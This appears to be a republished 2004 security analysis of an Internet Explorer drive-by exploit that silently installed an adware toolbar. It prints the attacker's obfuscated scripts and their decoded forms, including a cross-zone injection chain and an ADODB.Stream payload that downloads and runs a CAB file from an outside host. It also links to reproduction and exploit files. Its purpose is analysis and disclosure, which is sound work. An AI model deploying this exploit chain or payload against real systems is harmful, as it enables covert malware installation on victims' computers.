‘An Analysis of the 180 Solutions Trojan’

Summary

‘Just when Jemler though it was safe to once more to use internet explorer he received an email bringing his attention to this web page http://216.130.188.219/ei2/installer.htm that appeared to used an exploit that affected fully patched Internet Explorer 6 browsers. Being rather skeptical Jemler carelessly clicked on the link only to witness how it automatically installed addware on his PC.

Now there had been reports about 0day exploits making rounds for quite some time like for instance this post:
http://seclists.org/lists/bugtraq/2004/May/0141.html

However Jemler hadn’t seen any evidence to support this up until now. Thor Larholm added to the confusion by deliberately spreading disinformation as seen in this post: http://seclists.org/lists/bugtraq/2004/May/0153.html

Attributing it to and Jemler quotes ‘just one of the remaining IE vulnerabilities that are not yet patched’. This analysis will show that there are at least 2 new and as far as I know unpublished exploits (feel free to proof me wrong) out there in the wild, one being very sophisticated.’

Credit:

‘The information has been provided by Jelmer.
The original article can be found at: http://62.131.86.111/analysis.htm


Details

Analysis:
This is some serious handiwork. The first page we encounter installer.htm looks like this :
< HTML>
< BODY>
< SCRIPT language=’JScript.Encode’>#@~^/gAAAA==@#@&@#@&7lMP:HVK^P{P[W1Ehn
YR^GmmYkKU tM+6i@#@&hz^W^{m.D,’~hHVW^ kwskDcrgE*i@#@&:HDW{mD.P{Phz^Wmcdw^kYvE_D0r#I@#@&@#@&:zVK^P{
Phz^WmmCMD,!YI@#@&-mD,:XM+6~’,:zD0mCMD$8Di@#@&@#@&-
CD,:HVnxLO4PxPvhX^W^
^+xLO4PRP8f*i@#@&:HVW1P{~:HVGmc/;8kYDvT~sXVULY4#p@#@&wEoAAA
-=^#~@</SCRIPT>
< Script language=’JScript.Encode’>#@~^GAIAAA==@#@&CMPsX/DD,xPvEU+kmC2`JufZ
kmDb2O]y!^lUo;CT+Y&GY y9C-m/m.raYY yY22YZfu!b6E
^YbWU]y!(UN+mDnNGEDbULINbDnmOrKxY RY
O]T9u!bYTG]Tbu{~]TG]Zb]Z,k4WSHGNmV9rmVWTY R] Fh[R4Ys]+GY+;hrx9Ghu
/Yy NrC^WLKK2u&)
FZ!!Z]l/]2A[kmVGLd+0DY&zOFZTT!u*;]fA[rmVGo_nkTtOY2bFYX;]fA9rmVGTbN
Y4]2)Fu*/]2AY+y] O
VKmlDrGxu&G]+!Y+yLCmdmMk2Ou&bY+F]fZU/’qK:]y!?’Zuffu*/]lZY+FJ#,QPsX
VK^~_,E +dmC2`E/4nV^/^.bwYmsKl[+MmN/
ata]&wDW]2fE#,_~hHD+6~_,Exd^la+vJY*/YlZY FY&A]f/u*Z&j;I(n:Y22YyGu !u ZY
y]fAu!9YZb]Z9]Zb]F9Y!G]ZbY&/&km.kaO]22Eb*i@#@&[Km;:UDRAMkD+`sXkOD
*i@#@&OZoAAA==^#~@</Script>
< SCRIPT language=’JScript.Encode’>#@~^VQEAAA==@#@&@#@&6E mYbW
~hbx[WS)lG Ex^Gl9`#@#@&`@#@&@#@&d.+O;Mx~0ms/i@#@&@#@&8@#@&@#@&d+DPb
:nKED`JsXbWDm:nR6n^UmDb2YvqxNn^YNGE.kUL’+[kMnmDkGUcYWjOMkUovb
*JS8!Z#i@#@&knY:kh+KEOcrd:Hr0Ml:
n6mUm.k2OvB(xNnmD+[9!DkUL’+[kMn1YrKxv#B*drSFZFbi@#@&[G1E:UYchDb
On`E@!&s]b3,q9’szk6DChP1)A’hXbWMlhPUIZ{JMnNbD
w4wE~qqf:u’y!!,u3qVC:’+!T@*@!z(s’)HA@*vbp@#@&wmMAAA==^#~@</SCRIPT>
</BODY>
</HTML>

The JavaScript code is encoded using The Windows Script Encoder (screnc.exe), a Microsoft tool that can be used to encode your scripts This encoding only prevents casual viewing of your code and is easily defeated If you’ve got some minutes to spare you can write your own decoder or if you’re lazy download a precompiled one from here: http://www.virtualconspiracy.com/scrdec.html you’ll see this encoding used throughout the entire exploit as a way to obfuscate it’s function and avoid detection by virus scanners
< html>
< body>

< script language=’javascript’>
var myloc = document.location.href;
myloc_arr = myloc.split(‘?’);
myref_arr = myloc.split(‘?ref’);

myloc = myloc_arr[0];
var myref = myref_arr[1];

var mylength = (myloc.length – 13);
myloc = myloc.substr(0,mylength);
</script>

< script language=’javascript’>
  var mystr = (unescape(‘%3Cscript%20language%3D%22Javascript%22%3E%0D%0Afunction%20InjectedDuringRedirection%28%29
%0D%0A%0D%0A%7B%0D%0A%09showModalDialog%28%27md.htm%27%2Cwindow%2C%22dialogTop%3A-10000
%5C%3BdialogLeft%3A-10000%5C%3BdialogHeight%3A1%5C%3BdialogWidth%3A1%5C%3B%22%29.location%3D
%20%22javascript%3A%27%3CSCRIPT%20SRC%3D%5C%5C%27’) + myloc + unescape(‘shellscript_loader_js.php
%3Fref%3D’) + myref + unescape(‘%5C%5C%27%3E%3C%5C/script%3E%27%20%20%22%3B%0D%0A%0D%0A
%7D%0D%0A%3C/script%3E’));
  document.write(mystr);
</script>

< script language=’javascript’>
function window::onunload() {
  return false;
}
setTimeout(‘myiframe.execScript(InjectedDuringRedirection.toString())’,100);
setTimeout(‘myiframe.execScript(‘InjectedDuringRedirection()’) ‘,101);
document.write(‘< IFRAME ID=myiframe NAME=myiframe SRC=’redir.php’ WIDTH=200 HEIGHT=200></IFRAME>’);
</script>

</body>
</html>

There are to things to note going on in this page
1. In the third script block it loads redir.php in an iframe named myiframe

This is a PHP script that loads ms-its:C:WINDOWSHelpiexplore.chm::/iegetsrt.htm In an iframe This shouldn’t be happening, from Internet explorer 6 SP1 on access to the local file system is disallowed Looking at the headers it would appears to be a variation of mindwarpers Oct 24 2003 find the new element being the URL: prefix which makes it work once more:
HTTP/1.1 302 Found
Date: Sat, 05 Jun 2004 21:24:19 GMT
Server: Apache/1.3.28 (Unix) mod_fastcgi/2.4.0 PHP/4.3.5
X-Powered-By: PHP/4.3.5
Location: URL:ms-its:C:WINDOWSHelpiexplore.chm::/iegetsrt.htm
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

This file is located on the users hard disk, web pages accessed from the local computer are placed in the Local Machine zone, where they have the fewest security restrictions. Since local content is considered to be secure. However a lot of recent exploits have taken advantage of the Local Machine zone to elevate their privileges and compromise a computer. So by now we can see where this is heading, it’s the same modus operandi we’ve seen over and over in the past months, it goes something like this
 * Find an cross zone scripting exploit
 * Load a local trusted resource in an iframe
 * Inject JavaScript code in the trusted iframe using the cross zone scripting exploit to take over the computer, using the adodb.stream issue for instance

Another thing to note is that this file is deliberately not loaded immediately. It waits about 1.5 seconds before doing the redirect. Now up until now Jemler didn’t think there where anymore cross zone scripting exploits around, for sure there hasn’t been one reported to Bugtraq or any other security related list Jemler is subscribed to (as far as I know anyway).

So let’s dig deeper shall we
2. In the second script block it displays a model dialog

mystr is urlencoded when we decoded we get something approximating this
< script language=’Javascript’>
function InjectedDuringRedirection(){
  showModalDialog(‘md.htm’,window,’dialogTop:-10000;dialogLeft:-10000;dialogHeight:1; dialogWidth:1;’).location=’javascript:'< SCRIPT SRC=\’***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\’></script>”;

}
</script>

As you can see it’s initially loading a file called md.htm in a model dialog this file contains yet even more encoded scripting
< SCRIPT language=’JScript.Encode’>#@~^7AAAAA==@#@&hr NKhRM+D;D .CV!+~x,hk [WSRNbCsWTbMo;:nUD/I@#@&@#@&6EU^DkWU~;tnm0jDlO!/v#@#@&dP@#@&idODH Onsw.m.’Skx9GAR9kmVGo).TEh+ O/cVG^mYkGUct.+6I)mCDm4`+* Srx9WAR1VGd`#pN@#@&ddknOKb:W;YcE;tnm0jYmY;dv#JSqZ!bi@#@&i8@#@&d@#@&Z4+1V?DlOEk`bI@#
@&y0cAAA==^#~@</SCRIPT>

Which when we decode it becomes
< SCRIPT language=’javascript’>
window.returnValue = window.dialogArguments;

function CheckStatus(){
  try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
  setTimeout(‘CheckStatus()’,100);
}

CheckStatus();
</SCRIPT>

Ok lets see what we’ve got, the dialog argument passed to the function is the current window, it caches this object, and checks every 100 ms if it can access the location object of the window object, if the domain changes it will throw an security exception and the window will close itself
javascript:'< SCRIPT SRC=\’***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\’></script>”;

Which means the body of md.htm gets dropped and is replaced by a script include called shellscript_loader_js.php:
function getRealShell() {
myiframe.document.write(‘< SCRIPT SRC=’http://216.130.188.219/ei2/shellscript_js.php?ref=undefined’></SCRIPT>’);
}

document.write(‘< IFRAME ID=myiframe SRC=’about:blank’ WIDTH=200 HEIGHT=200></IFRAME>’);
setTimeout(‘getRealShell()’,100);

As you can see this script includes another script called shellscript_js.php that looks like this: shellscript_js.php
document.write(
unescape(‘%3CSCRIPT%20LANGUAGE%3D%22JAVASCRIPT%22%3E%0D%0A%20%20%20%20function%20getPath
%28%29%20%7B%20%0D%0A%20%20%20%20/*ending%20with%20%22/%22*/%0D%0A%20%20%20%20return
%20%22http://216.130.188.219/ei2%22%3B%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20
%20function%20getRef%28%29%20%7B%20%0D%0A%20%20%20%20/*ending%20with%20%22/%22*/%0D%0A
%20%20%20%20return%20%22undefined%22%3B%0D%0A%20%20%20%20%7D%0D%0A%3C/SCRIPT%3E’)+
unescape(‘%3Cscript%20language%3D%22JScript.Encode%22%3E%23@%7E%5EHQQAAA%3D%3D@%23@%26P
%7E%2CP1l4alD4P%7BPEZ%3D-wr%09/YmsVcml%28EI@%23@%26P%2CP%7EtOh%5EwCY4%7E%27%2CJ/
l%27-kUdDlsVc4D%3AEp@%23@%26PP%2CP1C4%60IJP%7BPE4DYw%3D%26zDWW%5E8CDyRbOsWGV%21w
%20mKhzDWGs%28lD+%26SkUN%7F%5E2%20%201l%28Ji@%23@%26%2C%7EP%2CtO%3A%5Ej%5DJ%2C
%27PTnYhlY4cbP3PrzrxdOmVsRa4wQDnW%7BJPQ%7ET+OI%7FWv%23I@%23@%26@%23@%26P%2CP
%2C-lMPamm4%7Ex%2Cx+S%7Eb1Yk7npr%28L%7FmO%60E%5Cbm.WkG0DRp%5CdCKPKr%23IP@%23@
%26%2CP%7E%2C61l4cranxvJ%212%3AJS%5Em4j%22J%7EZ%23i%2C@%23@%26P%2CP%2C6%5El8%20U+UNvb
i%2C@%23@%26%7E%2CPP@%23@%26%2CP%7EP7CMPd1l%28P%27%2Cx%7FAPzmOk7+p6%28L+1O
%60rbf%7D9%24RUYM+C%3AEbp@%23@%26P%2C%7EPkmC8cHW%5Bn%2C%27%7E%26p@%23@%26P
%7E%2CPkml%28R%3Azw%7FPxP8i@%23@%26%2CPP%2Cdmm4R%7D2nxv%23p@%23@%26P%7E%7E
%2C/%5El%28%20%7FMkOnv6mC8cDn/aG%09/n%7EW9X%23p@%23@%26%7EP%2CPdmm4%20jm%5C+
%3AGsbV+v%5EC4alDtS%20bI@%23@%26%7EP%2C%7E@%23@%26P%7E%7E%2C%5Cl.%7EXtO%3A%2Cx
%2CxnSPzmYb%5C%7Fpr%28LnmD%60E%5CbmDKdW6YRo%5CJC%3AKhJbi%7E@%23@%26P%7EP%2CatD
%3A%206a+xcEV2PJB4D%3As%60Id%7E%21*i%2C@%23@%26%2CP%7EPXtOhc%3F+%09%5B%60*iP@
%23@%26%7EP%2CP@%23@%26%7EP%7E%7E7l.Pk4YsV%7Ex%2Cx+A%7EzmOk7nor8N+1Y%60rbG6f
%7ERjYM+Chr%23i@%23@%26P%2CPPk4O%3A%5ERtW%5B+%7Ex%2C%26I@%23@%26%7EP%2CPd4D
%3AV%20PHwnP%7B%7E8i@%23@%26P%2CPPktDhVcr2+%09%60bI@%23@%26P%2C%7EPktYss%20
%7FMkD+c64OsR.+k2W%09/n%24KNXbI@%23@%26%7EP%2C%7EktOsVc%3Fl7+%3AGsbVn%604YhsalY4S
%20*i@%23@%26@%23@%26P%2CP%2ChxhrU9WARK2+%09%60E/%3D–rUkYCV%5E%204Yhr%7E
%2CBNK%7BbU/DlsVE%7E%7EvDWW%5E8lM%27%21Bhnx%214mDx%21Sd1DGV%5E8lM/xTB/YCO
%21/x%21B.%7F/r.l%28V+%7B%21BAk9Y4%27y%21S4%7Fko4O%27y%21%7E%2COGw%7B%26Z
%21T%21S%7E%5E+WY%7Bq%21BBbI@%23@%26P%7E%7E%2C/nV6%20%5EW%5EmYbWxctMn0
%2C%27%7EJm4G%3BD%294%5ECx0Ji@%23@%26eiMBAA%3D%3D%5E%23%7E@%3C/script%3E’));

When we urldecode it looks like this
< SCRIPT language=’javascript’>
    function getPath() {
    /*ending with ‘/’*/
    return ‘http://216.130.188.219/ei2’;
    }

    function getRef() {
    /*ending with ‘/’*/
    return ‘undefined’;
    }
</SCRIPT>< script language=’JScript.Encode’>#@~^HQQAAA==@#@&P~,P1l4alD4P{PEZ=-wr /YmsVcml(EI@#@&P,P~tOh^wCY4~’,J/l’-kUdDlsVc4D:Ep@#@&PP,P1C4`IJP{PE4DYw=&zDWW^8CDy
RbOsWGV!w mKhzDWGs(lD+&SkUN^2 1l(Ji@#@&,~P,tO:^j]J,’PTnYhlY4cbP3PrzrxdOmVsRa4wQDnW
{JPQ~T+OIWv#I@#@&@#@&P,P,-lMPa
mm4~x,x+S~b1Yk7npr(LmO`Ebm.WkG0DRpdCKPKr#IP@#@&,P~,61l4cranxvJ!2:JS^m4j’J~Z#i,@
#@&P,P,6^l8 U+UNvbi,@#@&~,PP@#@&,P~P7CMPd1l(P’,xAPzmOk7+p6(L+1O`rbf}9$RUYM+C:E
bp@#@&P,~P
kmC8cHW[n,’~&p@#@&P~,Pkml(R:zwPxP8i@#@&,PP,dmm4R}2nxv#p@#@&P~~,/^l( MkOnv6mC8
cDn/aG /n~W9X#p@#@&~P,Pdmm4 jm+:GsbV+v^C4alDtS bI@#@&~P,~@#@&P~~,l.~XtO:,x,xnSPzmYbpr(LnmD`EbmDKdW6YRoJC:KhJbi~@#@&P~P,atD: 6a+xcEV2PJB4D:s`Id~!*i,@#@&,P~PXtOhc?+ [`*iP@#@&~P,P@#@&~P~~7l.Pk4YsV~x,x+A~zmOk7nor8N+1Y`rbG6f~RjYM+Chr#i@#@&P,PPk
4O:^RtW[+~x,&I@#@&~P,Pd4D:V PHwnP{~8i@#@&P,PPktDhVcr2+ `bI@#@&P,~PktYss MkD+c6
4OsR.+k2W /n$KNXbI@#@&~P,~ktOsVc?l7+:GsbVn`4YhsalY4S *i@#@&@#@&P,P,hxhrU9WARK
2+ `E/=–rUkYCV^ 4Yhr~,BNK{bU/DlsVE~~vDWW^8lM’!Bhnx!4mDx!Sd1DGV^8lM/xTB/YCO!/x
!B./r.l(V+{!BAk9Y4’y
!S4ko4O’y!~,OGw{&Z!T!S~^+WY{q!BBbI@#@&P~~,/nV6 ^W^mYbWxctMn0,’~Jm4G;D)4^Cx0Ji@#
@&eiMBAA==^#~@</script>

And when we finally remove the Script encoding it looks like this that we immediately recognize as the adodb.stream issue Jemler reported on Aug 26 2003:
< script language=’javascript’>
function getPath() {
/*ending with ‘/’*/
return ‘http://216.130.188.219/ei2’;
}

function getRef() {
/*ending with ‘/’*/
return ‘undefined’;
}
</script>

< script language=’javascript’>
cabpath = ‘C:\install.cab’;
htmlpath = ‘C:\install.htm’;
cabURL = ‘http://toolbar2.i-lookup.com/toolbar2/windec32.cab’;
htmlURL = getPath() + ‘/install.php?ref=’ + getRef();

var xcab = new ActiveXObject(‘Microsoft.XMLHTTP’);
xcab.Open(‘GET’,cabURL,0);
xcab.Send();

var scab = new ActiveXObject(‘ADODB.Stream’);
scab.Mode = 3;
scab.Type = 1;
scab.Open();
scab.Write(xcab.responseBody);
scab.SaveToFile(cabpath,2);

var xhtm = new ActiveXObject(‘Microsoft.XMLHTTP’);
xhtm.Open(‘GET’,htmlURL,0);
xhtm.Send();

var shtml = new ActiveXObject(‘ADODB.Stream’);
shtml.Mode = 3;
shtml.Type = 1;
shtml.Open();
shtml.Write(xhtm.responseBody);
shtml.SaveToFile(htmlpath,2);

w=window.open(‘C:\install.htm’, ‘do_install’, ‘toolbar=0, menubar=0, scrollbars=0, status=0, resizable=0, width=20, height=20, top=30000, left=10,’);
self.location.href = ‘about:blank’;
</script>

When ran in the localzone this script would download 2 files to disk and execute them thus installing the ilookup toolbar http://toolbar2.i-lookup.com/toolbar2/windec32.cab to C:install.cab http://216.130.188.219/ei2/install.php to c:install.htm

Lets reflect on what we’ve seen and attempt a reconstruction
1. redir.php is requested by the iframe but not immediately loaded because it uses PHP to create a 1.5 second lag
2. setTimeout(‘myiframe.execScript(InjectedDuringRedirection.toString())’,100); , InjectedDuringRedirection.toString is the text of the function so nothing gets executed, it just gets put on some kind of buffer
3. setTimeout(‘myiframe.execScript(‘InjectedDuringRedirection()’) ‘,101); calls the function step 2 placed on the buffer
4. This function creates a modal dialog and passes window as dialog argument, now this is where it gets weird, this window object is not the real window object but actually refers to the iframe you just dynamically created
5. redir.php completes loading and redirects to a local help file
6. md.htm can now no longer access the location object of the iframe , and throws an exception what causes the modal dialog to close
7 InjectedDuringRedirection now unblocks where it had blocked due to the modal dialog being called, the call returns the iframe from before the redirect changed it’s location, it got cached, which means we can call all of its methods, the code calls .location=’javascript:'< SCRIPT SRC=\’***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\’>”; to inject code in the trusted local resource which has elevated privileges

8. Thru the adodb.stream bug which only works in the local zone, 2 files are downloaded and started

Conclusion
What have we learned?
The Trojan uses several known and 2 previously unknown vulnerabilities in Internet Explorer the unknown ones being:
1. Location: URL: allows access to local resources
2. A cross zone access vulnerability

The latter being quite non trivial (whomever created this beast sure knew what he was doing but although I have the utmost respect for your work your still a scumbag for perverting it in this fashion) to install the ilookup toolbar from http://toolbar2.i-lookup.com/toolbar2/windec32.cab

Demonstration
A cleaned up harmless demonstration of techniques used in this exploit can be found here:
http://62.131.86.111/security/idiots/repro/installer.htm

People who have not installed Internet Explorer Service Pack 1 can click here:
http://62.131.86.111/security/idiots/repro/sp0/installer.htm

Alternatively you can download the files for the exploit here http://62.131.86.111/security/idiots/repro/exploit.zip.’

Categories: Reviews